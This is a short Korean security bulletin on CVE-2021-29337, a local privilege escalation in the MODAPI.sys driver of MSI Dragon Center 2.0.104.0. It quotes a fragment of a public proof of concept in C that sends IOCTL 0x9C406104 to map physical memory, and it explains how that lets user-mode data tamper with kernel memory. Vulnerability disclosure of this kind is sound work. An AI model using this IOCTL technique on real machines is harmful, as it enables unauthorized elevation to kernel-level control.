[하루한줄] CVE-2021-29337: MSI Dragon Center의 로컬 권한 상승 취약점
URL
CVE-2021-29337 - Privilege Escalation in MODAPI.sys (MSI Dragon Center)
Target
- MSI Dragon Center 2.0.104.0
Explain
LED 시스템, 시스템 환경 설정, 모바일 앱 원격 제어 등의 기능을 지원하는 MSI의 시스템 모니터링 유틸리티인 Dragon Center에서 발견된 로컬 권한 상승 취약점의 PoC가 공개되었습니다.
취약점은 Dragon Center의 커널 드라이버 MODAPI.sys
에 존재하며 PoC의 일부 코드는 다음과 같습니다.
//Allocate Input Buffer
LPVOID lpInMemoryArea = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID lpOutMemoryArea = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//Set Input Buffer
DWORD pPhysicalMemAddr = 0xE0000;
DWORD dwDataSizeToRead = 0x4;
DWORD dwAmountOfDataToRead = 8;
memmove(lpInMemoryArea, &pPhysicalMemAddr, sizeof(DWORD));
memmove((BYTE*)lpInMemoryArea + 0x8, &dwDataSizeToRead, sizeof(DWORD));
memmove((BYTE*)lpInMemoryArea + 0xC, &dwAmountOfDataToRead, sizeof(DWORD));
// Send IOCTL
DWORD dwLastError = DeviceIoControl(hDriver, 0x9C406104, lpInMemoryArea, 0x10, lpOutMemoryArea, 0x40, &dwBytesOut, NULL);
MODAPI.sys
의 METHOD_BUFFERED IOCTL 0x9C406104
는 물리 메모리를 가상 주소 공간에 매핑하는 MmMapIoSpace
루틴을 호출합니다. 이를 악용해 해커가 Input Buffer인 lpInMemoryArea
에 권한 상승을 위한 임의의 값을 설정한 뒤 DeviceIoControl
을 통해 IOCTL 요청을 보내면 Windows의 커널 메모리를 유저모드의 데이터로 임의로 조작 할 수 있으며 이는 로컬 권한 상승으로 이어질 수 있습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.